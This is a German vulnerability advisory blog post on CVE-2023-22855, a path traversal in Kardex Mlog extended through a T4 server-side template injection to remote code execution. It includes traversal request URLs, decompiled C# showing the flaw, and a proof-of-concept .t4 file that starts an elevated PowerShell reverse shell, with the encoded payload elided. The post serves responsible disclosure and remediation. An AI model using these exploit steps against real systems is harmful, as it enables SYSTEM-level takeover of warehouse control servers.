Advisory: Kardex Mlog – Unsicherer Pfad in Verbindung mit SSTI führt zu RCE (CVE-2023-22855)
Die Kardex Mlog Software nutzt eine unsichere Funktion zur Verbindung von Dateipfaden. Dies erlaubt es lokale Dateien, aber auch externe Dateien über einen SMB Server, einzubinden. Kombiniert mit der Interpretation von .t4
Dateien kann dies mittels Server-Side Template Injection zu einer Remote Code Execution Schwachstelle ausgeweitet werden.
Der folgende Blogbeitrag führt auf, wie diese Schwachstelle gefunden wurde und ausgenutzt werden kann.
Kardex Mlog ist seit über 100 Jahren ein Unternehmen, das im Bereich für integrierte Materialflusssysteme und Hochregallager tätig ist. Hierfür entwickelt Kardex unter anderem Software zur Steuerung ihrer Systeme. Im Laufe eines Penetrationstests der Thinking Objects GmbH bei einem Kunden von Kardex, gelang es Testern eine Schwachstelle in einer Software der Kardex Mlog aufzudecken.
Technische Ausführung der Schwachstelle
Die initiale Aufdeckung einer Schwachstelle in der Software geschah durch einen Nessus-Scan. Dieser meldete eine „Web Server Directory Traversal Arbitrary File Access“-Schwachstelle. Dies konnte im Rahmen des Tests verifiziert werden und es gelang die win.ini
-Datei des Web Servers auszulesen. Die betroffene Version der Software ist „5.7.12+0-a203c2a213-master“. Hierfür musste eine Anfrage mit dem folgenden Aufbau an den Server gesendet werden:
http://ip:port/\..\..\..\..\..\Windows\win.ini
Dies veranlasste die Tester dazu, die Software genauer zu betrachten. Da die Vermutung bestand, dass die Schwachstelle in einer Funktion, die die Anfragen zum Webserver verwertet, liegen könnte. Die Software selbst ist in C# geschrieben und verwendet das .NET Framework.
Nachdem die Software dekompiliert und einige Zeit in die Suche der entsprechenden Funktion investiert wurde, konnte der folgende Code aufgedeckt werden:
private void _httpServer_OnGet(object sender, HttpRequestEventArgs e)
{
try
{ bool flag = e.Request.Url.AbsolutePath.StartsWith("/api/");
MccHttpServerResult result;
if (flag)
{ result = this._mccApiServer.GetApi(e.Request.Url.AbsolutePath, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query);
}
else
{ string path = Uri.UnescapeDataString(e.Request.Url.AbsolutePath); result = this._mccHttpServer.GetFile(path, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query); }
[...gekürzt...]
}
In diesem Codeausschnitt sind 2 mögliche Fälle definiert. Der erste Fall verweist auf die Funktion GetApi
, sobald die Anfrage mit /api/
beginnt. Wenn dies nicht der Fall ist greift der zweite Fall, welcher zur Funktion GetFile
führt. Da dieser Fall in der initialen Aufdeckung der Schwachstelle von Nessus verwendet wurde, betrachteten die Tester im Anschluss die GetFile
-Funktion:
public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)
{ MccHttpServerResult result4;
try
{ Dictionary<string, string> responseHeaders = new Dictionary<string, string>();
bool flag = path == "/image";
if (flag)
{ NameValueCollection query = HttpUtility.ParseQueryString(queryString); using (BLToolKitSessionWrapper<CommonDL> s =
DLBaseBLToolkit<CommonDL>.CreateSession("MLog_MCC_Connection", null, false, null, null))
{ MccImageType imageType =
(MccImageType)Enum.Parse(typeof(MccImageType), query.Get("imagetype"), true); string name = query.Get("name");
ImageDTO img = null;
bool flag2 = name != "null" && name != "undefined";
if (flag2) {
[...gekürzt...]
} bool flag9 = this.DisableFileHosting();
if (flag9) { result4 = new MccHttpServerResult(HttpStatusCode.NotFound, null, null, null);
}
else
{ string getfileName = (path == "/") ? "index.html" :
path.Substring(1).Replace("/",
Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
string fileName = Path.Combine(this.RootDirectory(), getfileName);
string originalFileName = fileName;
bool acceptBrotli = false;
bool flag10 = acceptEncoding != null && acceptEncoding.Contains("br");
if (flag10)
{
responseHeaders.Add("Content-Encoding", "br");
acceptBrotli = true;
}
responseHeaders.Add("Access-Control-Allow-Origin", "*");
bool flag11 = this.DisableBrowserCache();
if (flag11)
{
responseHeaders.Add("CacheControl", "no-cache, no-store, must-revalidate");
responseHeaders.Add("Pragma", "no-cache");
responseHeaders.Add("Expires", "0");
}
string mime2 = MccHttpServer.GetMimeType(originalFileName);
[...gekürzt..] }
Auch in dieser Funktion werden wieder mehrere Fälle abgearbeitet. Ein Fall führt bei erfolgreicher Ausführung dazu, dass der Webserver dem Endnutzer ein Bild präsentiert und bei fehlerhafter Ausführung ein HTTP Error 404 ausgelöst wird. Dieser Fall wird aber nicht bei der von Nessus aufgedeckten Schwachstelle verwendet, da in der Anfrage kein /image
verwendet wird. Dementsprechend wird die else
-Kondition am Ende des Codeauszuges ausgelöst. In dieser Kondition steckt die eigentliche Schwachstelle, genauer in den folgenden 2 Zeilen:
string getfileName = (path == "/") ? "index.html" :
path.Substring(1).Replace("/",
Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
string fileName = Path.Combine(this.RootDirectory(), getfileName);
Die erste Zeile sorgt dafür, dass die index.html
-Seite aufgerufen wird, wenn kein weiterer Pfad angegeben ist. Ansonsten werden für den gesamten Pfad Schrägstriche (Slashes) durch ein Trennzeichen ersetzt. Dieser wird dann in der zweiten Zeile mit dem Wurzelverzeichnis des Webserverordners durch die Path.Combine
-Funktion verbunden. Dieses Zusammensetzen des Pfades geschieht ohne wirkliche Bereinigung der Eingabe des Endnutzers. Die Ersetzung von Slashes kann, da der Webservers auf einem Windows Betriebssystem läuft, vernachlässigt werden, da hier mit Backslashes durch das Dateisystem navigiert wird. Dies ermöglicht es, lokale Dateien vom Webserver ausgeben zu lassen.
Durch die Verwendung eines externen SMB-Servers ist es ebenfalls möglich, externe Dateien einzubinden:
http://ip:port/\\ipaddress\share\file
Ausweitung zur Remote Code Execution
Der Versuch eine funktionsfähige Webshell zur Ausführung von Kommandos einzubinden schlug fehl, da die Webshell stets als Content-Type text/plain
interpretiert wurde.
Der Grund hierfür verbrigt sich in der GetFile
-Funktion, in welcher der Content-Type der einzubindenen Datei bestimmt wird. Im nachfolgenden Codeausschnitt ist der kritische Teil für die Bestimmung des Content-Types aufgeführt:
bool flag14 = MccHttpServer._fileCache.TryGetValue(new ValueTuple<string, bool>(fileName, acceptBrotli), out cachedFile);
if (flag14)
{
result4 = new MccHttpServerResult(HttpStatusCode.OK, mime2, cachedFile, responseHeaders);
}
else
{ bool flag15 = File.Exists(fileName);
if (flag15)
{ using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
byte[] bytes = new byte[f.Length];
f.Read(bytes, 0, bytes.Length);
bool flag16 = mime2 == "t4"; if (flag16)
{
return this.runTemplatingEngine(bytes, responseHeaders, queryString);
}
bool flag17 = mime2.StartsWith("text",
StringComparison.OrdinalIgnoreCase);
if (flag17)
{ string result2 = Encoding.UTF8.GetString(bytes);
string old = result2;
[...gekürzt...]
Sobald die GetMimeType
-Funktion einen MIME-Type erkennt, der mit text
anfängt, wird die einzubindenen Datei mit dem Content-Type text/plain
an den Client zurückübergeben. Sollte die GetMimeType
-Funktion allerdings den MIME-Type t4
ermittelt haben, wird der Inhalt der einzubindenden Datei an die Funktion runTemplateEngine
weitergeleitet. Das bedeutet, um eine Datei einzubinden, die auch interpretiert werden kann, muss eine Datei mit dem MIME-Type t4
zur Verfügung gestellt werden. In der GetFile
-Funktion wird auch definiert, wie dies erreicht werden kann:
else
{
if (!(text2 == ".t4"))
{
goto IL_919;
}
return "t4";
}
Die Datei muss die Dateiendung .t4
aufweisen.
Dies erweitert die Sicherheitslücke um eine Server-Side Template Injection (SSTI) Schwachstelle und ermöglicht die Einbindung einer .t4
-Datei, die eine Rückverbindung zu einem externen System aufbaut.
Proof of Concept
Eine solche Datei muss in der Templating-Sprache mono/t4
Kommandos auf dem System ausführen können. Da mono/t4
in der Lage ist C# Code auszuführen, wurde als Proof of Concept die folgende Datei erstellt und an den Webserver übergeben:
<#@ template language="C#" #>
<#@ Import Namespace="System" #>
<#@ Import Namespace="System.Diagnostics" #>
Proof of Concept - SSTI to RCE
RCE running ...
<#
var proc1 = new ProcessStartInfo(); string anyCommand; anyCommand = "powershell -e [... snip base64 rev shell for readability ...]";
proc1.UseShellExecute = true;
proc1.WorkingDirectory = @"C:\Windows\System32";
proc1.FileName = @"C:\Windows\System32\cmd.exe";
proc1.Verb = "runas";
proc1.Arguments = "/c "+anyCommand;
Process.Start(proc1); #>
Enjoy your shell, good sir :D
Die folgenden Abbildungen zeigen die Anfrage an den SMB-Server mit dem oben aufgeführten Code in Burp Suite und schlussendlich die Rückverbindung zum angreifenden System:
Da die Software standardmäßig mit SYSTEM Berechtigungen ausgeführt wird, hat die Rückverbindung volle Berechtigungen auf dem Webserver.
Zum Ende konnte ein funktionsfähiger Exploitcode ausgearbeitet werden. Dieser automatisiert, inklusive des Startens des SMB-Servers, den aufgeführten Ablauf. Ein Link zum vollständigen Exploit Code kann dem Abschnitt „Referenzen“ entnommen werden.
Behebung des initialen Risikos
Jede Nutzereingabe ist als nicht vertrauenswürdig einzustufen. Deshalb sollte jede Eingabe, die durch einen Nutzer kontrolliert werden kann, vor der Verarbeitung bereinigt werden. Dies sollte in diesem Fall vor der Verarbeitung der Eingabe in der Funktion Path.Combine
geschehen.
Der Hersteller hat bereits einen Patch zur Verfügung gestellt. Der Patch verfügt über keine eigene Versionsnummer.
Responsible Disclosure Ablauf
- 13.12.2022: Schwachstelle entdeckt
- 13.12.2022: Schwachstelle an den Hersteller gemeldet
- 24.01.2023: Patch vom Hersteller veröffentlicht
- 07.02.2023: Veröffentlichung der Schwachstelle
Credits
Die Schwachstelle wurde im Laufe eines Penetrationstests der Thinking Objects GmbH von Patrick Hener und Nico Viakowski gefunden.
E-Mail: patrickhener@posteo.de
E-Mail: nico.viakowski@to.com
Referenzen
- Kardex Webseite
- Hesec Blog – Patrick Hener
- PoC exploit @ Exploit-DB
- CVE Github repo von Patrick Hener
- Mitre CVE
- National Vulnerability Database
Zum Autor
Nico Viakowski (ehemaliger Mitarbeiter)
IT Security Consultant
Im Fokus
NIS-2 kommt: Jetzt aktiv werden!
Die Uhr tickt und viele Unternehmen sind betroffen. In Kürze muss die neue EU-Richtlinie zur Erhöhung der Cybersicherheit umgesetzt werden. Das gibt es zu tun.
Managed Detection and Response Service
24/7-Cyberabwehr durch Technik und Experten: Ein MDR-Service kombiniert modernste Erkennungstechnologie mit der Erfahrung eines Teams von Security-Spezialisten.
Deine Karriere, Deine Zukunft
Bereit, die Cyber-Welt zu retten? Ob Ausbildung, Berufseinstieg oder mit Berufserfahrung. Sei Teil unseres Teams und finde bei uns endlich den Job, der zu Dir passt!